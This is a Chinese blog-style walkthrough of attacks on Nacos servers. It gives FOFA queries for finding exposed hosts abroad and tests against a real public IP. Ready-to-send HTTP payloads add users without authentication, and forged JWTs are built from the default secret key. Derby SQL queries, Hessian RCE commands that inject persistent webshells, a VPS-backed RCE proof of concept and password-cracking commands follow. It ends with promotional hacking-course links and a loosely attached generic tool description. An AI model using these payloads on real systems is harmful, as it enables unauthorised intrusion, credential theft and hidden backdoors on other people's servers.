# 实战攻防之Nacos漏洞(非常详细)从零基础到精通,收藏这篇就够了!

前言

实战nacos漏洞复现记录一下,大佬勿喷。

小白可以直接收藏下来学习一下很多poc我都直接给出来了,基本就是我的笔记。

如果,有不对的可以指正一下,一起学习。

nacos介绍

Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台,由阿里巴巴开源。它致力于帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。Nacos支持几乎所有主流类型的服务发现、配置和管理,包括Kubernetes Service、gRPC & Dubbo RPC Service、Spring Cloud RESTful Service等。通过Nacos,您可以轻松构建、交付和管理微服务平台,实现服务的动态发现、配置和治理。

Nacos 开放的端口

Nacos部署需要开放以下端口以确保其正常运行:

主端口(HTTP端口):默认为8848,用于客户端、控制台及OpenAPI的HTTP通信。这个端口是访问Nacos管理界面的主要入口。

客户端gRPC请求服务端端口:默认为9848,用于客户端向服务端发起gRPC连接和请求。Nacos 2.x版本默认使用了gRPC通信方式,这会增加9848(客户端gRPC请求服务端端口)和9849(服务端gRPC请求服务端端口)两个端口。

服务端gRPC请求服务端端口:默认为9849,用于服务间的数据同步和其他服务端之间的通信。

Jraft请求服务端端口:默认为7848,用于处理服务端间的Raft相关请求,比如集群管理中的选主和日志复制等。

资产收集

FOFA语句:app=“nacos” && port=“8848”

下面可以看到icon图标,除了开始我们上面的一种,下面还有好几个,可以点击ico图标进一步扩大信息收集面

icon_hash=“13942501”
icon_hash=“1227052603” && port=“8848”

针对fofa总结语法:

app=“nacos” && port=“8848” || icon_hash=“13942501”||icon_hash=“1227052603” && port=“8848”

漏洞复现

下面我用一个国外的ip进行漏洞的复现演示,用这个语法进行查找

app=“nacos” && port=“8848” && country=“US”

使用随意一个fofa测绘工具将资产导出来

这是我找的买过的一些资产,然后保存进行工具批量测试。

charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具,集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用

导出一个漏洞较多的资产进行复现即可,切记不要使用国内的,直接访问ip地址看不到登录口需要加/nacos目录才会重定向过去。

1.获取nacos版本信息

/nacos/v1/console/server/state

2. 默认口令

访问 http://ip:8848/nacos/#/login进入登陆页面

默认口令为: nacos/nacos

3.默认未开启鉴权-未授权查看用户信息

由于系统默认未开启鉴权 导致未授权访问

nacos.core.auth.enabled=false

漏洞复现

测试版本:nacos1.4.0

直接访问如下路径,未授权查看用户信息

/nacos/v1/auth/users?pageNo=1&pageSize=9

4. User-Agent权限绕过(CVE-2021-29441)

漏洞描述: 该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。

版本: <=Nacos 1.4.1 配置为使用身份验证(nacos.core.auth.enabled=true)

直接访问下面的目录,可以未授权查看到账号密码

/nacos/v1/auth/users?pageNo=1&pageSize=100 //可查看到用户列表

可以看下里面的账号密码,很多情况下账号密码都是这个暴露出来的username,和password信息

未授权添加用户

payload:

POST /nacos/v1/auth/users HTTP/1.1
Host:
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 28 Jul 2021 11:28:45 GMT
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

username=test&password=test123

查看用户是否添加成功:

/nacos/v1/auth/search?username=test


curl ‘http://IP/v1/auth/search?username=test’

删除用户
curl -X DELETE “http://47.83.174.204:8848/nacos/v1/auth/users?username=test”

或者访问 /nacos/v1/auth/users?username=test,将请求方法修改为DELETE即可删除用户test

或者使用工具直接进行用户的添加

先将有漏洞的站点扫描一遍选择ua权限绕过漏洞进行添加

5.默认jwt密钥-未授权访问

开启了nacos.core.auth.enabled 的情况下,如果未修改默认nacos.core.auth.default.token.secret.key的值(在Nacos<=2.2.0版本中,该值为默认值),则可以通过accessToken值来绕过权限。

nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789 # =后边的是默认的硬编码

影响版本

0.1.0<=nacos<=2.2.0

漏洞原理

输入正确的账号密码,则后端会返回对应该用户的加密accessToken。

请求包

POST /nacos/v1/auth/users/login HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://47.83.174.204:8848
Connection: keep-alive
Referer: http://47.83.174.204:8848/nacos/
Priority: u=0

username=nacos&password=nacos

响应包

HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE
Content-Type: application/json;charset=UTF-8
Date: Sat, 26 Apr 2025 10:16:58 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 181

{“accessToken”:“eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE”,“tokenTtl”:18000,“globalAdmin”:true,“username”:“nacos”}

客户端得到此accessToken后会使用此Token再次请求后端服务器,及通过该用户身份登录。

payload

GET /nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTc0NTgzNTYwOH0.gk9tFDRWDozKj-fsLAXSxnpojBklSaOVPNbUneqTSpw HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Origin: http://47.83.174.204:8848
Connection: keep-alive
Referer: http://47.83.174.204:8848/nacos/
Priority: u=0

由于返回的accessToken只是对账号进行加密得到的.

而且nacos加密用户accessToken使用的jwt默认密钥加密,也就是只要知到nacos的用户,任何人都能通过此密钥加密用户得到对应用户的accessToken.

nacos存在默认用户nacos,所以我们可以尝试获取此默认用户的nacos。

漏洞复现

测试版本:nacos1.4.0

1. 生成时间戳比现在时间晚就行,比如现在时间为2024.9.3,则修改为2024.9.4或者更晚的时间

https://tool.lu/timestamp/

我直接生成到2080了直接用我的就行

3481367106

2. 生成key。

https://jwt.io/

复制默认的key,填写如下所示

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTc0NTgzNTYwOH0.gk9tFDRWDozKj-fsLAXSxnpojBklSaOVPNbUneqTSpw

{
“sub”: “nacos”,
“iat”: 1745835608
}

{
“alg”: “HS256”,
“typ”: “JWT”
}

带上token访问用户列表即可绕过403

直接登录到后台

登陆界面输入任意账户密码 ,点击登录。抓包,添加请求头,我这个还能用。

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MzQ4MTM1NzA1NX0.92Mo2gkDFuPnUaD2v63SQl1IWtObfBxDTWgIhqvteM8

添加之后点击放行不要关闭拦截

之后关闭拦截即可

6.Derby未授权访问(CVE-2021-29442)

nacos带有一个嵌入式的小型数据库derby,默认无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露。

影响版本:在nacos <= 1.4.0,无论是否开启鉴权,该漏洞都存在。当 nacos >1.4.0, 在新版中默认没开鉴权,所有这个漏洞还存在。若开启了鉴权,版本大于1.4.0,则漏洞不存在。

/nacos/v1/cs/ops/derby?sql=select * from users

7.Nacos Client Yaml反序列化漏洞

这个我没复现出来,网上找了几个但是都没有。。。。

在1.4.1版本中存在Nacos Client Yaml反序列化漏洞,该漏洞只影响单独使用 nacos-client SDK的用户,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置,所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端。

具体思路是

nacosYaml反序列化攻击

工具利用

https://github.com/artsploit/yaml-payload/

下载之后打成jar包

javac src/artsploit/AwesomeScriptEngineFactory.java

编译java文件

jar -cvf yaml-payload.jar -C src/ .

jar:Java 自带的归档工具(类似 tar 或 zip),用于创建、查看或解压 JAR 文件。
-c(create):创建一个新的 JAR 文件。
-v(verbose):显示详细输出(打包的文件列表)。
-f(file):指定生成的 JAR 文件名(这里是 yaml-payload.jar)。
-C src/:切换到 src/ 目录(相当于 cd src/)。

将生成的jar文件传到服务器上,到指定目录,开启web服务

在Nacos发现dataid为db-config

我只是复现到这了,试了几个,没成功就停了。

这个是靶场成功的链接

内网渗透 -春秋云镜篇之Hospital-腾讯云开发者社区-腾讯云

8.Nacos Hessian 反序列化漏洞

由于7848端口采用hessian协议传输数据,反序列化未设置白名单导致存在RCE漏洞。

影响版本:1.4.0<=Nacos<1.4.6, 2.0.0<Nacos<2.2.3

Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响,但是集群模式受影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。

主要受影响的是7848端口的Jraft服务。

漏洞复现

测试版本nacos 2.2.2

poc:https://github.com/c0olw/NacosRce

java -jar NacosRce.jar http://xxx:8848/nacos 7848 “whoami”

执行命令同时注入内存马

直接使用webshell管理工具进行链接即可

自动注入内存马并执行命令 java -jar NacosRce.jar Url Jraft端口 “Command”

java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 “whoami”
只注入内存马

java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 memshell

内存马说明:
一、冰蝎内存马:
1、需要设置请求头x-client-data:rebeyond
2、设置Referer:https://www.google.com/
3、路径随意
4、密码rebeyond
二、哥斯拉内存马:
1、需要设置请求头x-client-data:godzilla
2、设置Referer:https://www.google.com/
3、路径随意
4、密码是pass 和 key

三、CMD内存马:
1、需要设置请求头x-client-data:cmd
2、设置Referer:https://www.google.com/
3、请求头cmd:要执行的命令
v0.5版本实现了:
1、不出网漏洞利用
2、可多次发起漏洞利用
3、同时注入冰蝎/哥斯拉/CMD内存马
4、内存马对nacos多版本进行了兼容

tips:
1、请用jdk1.8
2、适用于 Nacos 2.x <= 2.2.2
3、非集群的也能打哦
4、此内存马重启nacos依然存活

关于Windows
如用下面的方式执行,注入内存马时会生成临时文件 C:\Windows\Temp\nacos_data_temp 和 C:\Windows\Temp\nacos_data_temp.class 文件

java -jar NacosRce.jar http://192.168.90.1:8848 7848 “whoami” windows

如果没有在最后加 windows,临时文件会在 /tmp/nacos_data_temp /tmp/nacos_data_temp.class,所以权限足够的话,不指定windows也能打成功
windows 没打成功也许是因为没权限操作C盘或其他原因

9. Nacos RCE

这个漏洞涉及两个路径,其中derby其实就是CVE-2021-29441

/nacos/v1/cs/ops/data/removal
/nacos/v1/cs/ops/derby

测试版本:nacos1.4.0(2.3.2也成功),默认状态

下载poc:GitHub - FFR66/Nacos_Rce: 网传nacos_rce漏洞poc,并上传到vps上

1. 在vps启动

python service.py

默认会在5000端口打开服务

然后本地机器上执行poc

当系统为未授权访问时,可直接触发RCE

Nacos_Rce.py -t 192.168.67.129 -p 5000 -u http://192.168.67.134:8848 -c whoami
#-t vps ip

#-p 端口地址
#-u nacos web地址

# -c 指定命令

如果显示未知用户或者未找到用户,则表示nacos启用了鉴权需要伪造JWT绕过登陆授权,在文件Nacos_Rce.py文件中设置请求头即可。只要能够绕过登陆授权,就可能能RCE。

header = {
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67’,
‘Authorization’:‘Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MzQ4MTM1NzA1NX0.92Mo2gkDFuPnUaD2v63SQl1IWtObfBxDTWgIhqvteM8’
}

10. 密码破解

nacos密码bcrypt

hashcat -a 0 -m 3200 hashes.txt rockyou.txt -w 3 -O -D 1,2 --show

配置文件密文 jasypt

java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringEncryptionCLI input=“123456” password=“salt123” algorithm=“PBEWithMD5AndDES”
java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringDecryptionCLI input=“MecKdyPwwkD+AqUKPy1GlQ==” password=“salt123” algorithm=“PBEWithMD5AndDES”

11、常用命令

http://127.0.0.1:8848/nacos/v1/console/server/state
http://xx.xx.xx.xx/v1/console/server/state
http://127.0.0.1:8848/nacos/v1/auth/users?search=accurate&pageNo=1&pageSize=9 get查询用户
curl -v --data-binary “username=test&password=123456” “http://127.0.0.1:8848/nacos/v1/auth/users” post添加用户
curl -X PUT ‘http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=’ -d ‘username=test&newPassword=test123’ 修改密码
http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99 获取配置信息
http://127.0.0.1:8848/nacos/v1/core/cluster/nodes 获取集群信息
curl --data-binary “username=nacos&password=nacos” “http://127.0.0.1:8848/nacos/v1/auth/users/login” 登陆

总结

在网络安全的世界里,停止学习就意味着落后,共勉!

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

### Nacos 漏洞利用工具及使用方法 Nacos漏洞综合利用GUI工具是一个集成多种安全测试功能的应用程序,旨在帮助研究人员评估Nacos服务的安全状况。此工具能执行针对不同类型的已知漏洞的自动化检测和验证操作[^1]。 #### 工具特性概述 该应用程序提供了图形界面来简化用户的交互过程,并支持对多个潜在弱点进行快速筛查,包括但不限于: - **默认口令漏洞** - **SQL注入攻击**(特别是涉及Derby数据库的情况) - **身份认证机制中的缺陷**(例如User-Agent权限绕过、serverIdentity权限绕过等) - **反序列化风险** 对于某些特定版本中存在的问题,如`token.secret.key`默认配置不当以及客户端YAML文件处理过程中可能引发的反序列化错误也有所覆盖[^4]。 #### 安装与基本设置 为了启动并运行这个工具,用户应当遵循官方文档给出的具体指导步骤完成必要的环境搭建工作。值得注意的是,在指定目标URL时可以灵活应对不同的部署场景——即使Nacos实例位于非标准位置也能被正确识别出来;软件会自动尝试访问几个常见的API端点来进行初步判断[^3]。 #### 执行扫描任务 一旦准备工作就绪,则可以通过界面上的相关选项发起全面或部分项目的审查流程。每次提交新的待测地址之后,系统内部将会依次调用预定义好的插件模块逐一检验是否存在上述提到过的安全隐患。如果发现任何可疑之处,相应的提示信息连同建议措施都会及时反馈给使用者以便进一步分析确认[^2]。 ```bash # 假设已经下载好项目源码包解压到本地目录下 cd /path/to/NacosExploitGUI/ python main.py # 启动应用 (假设基于Python开发) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值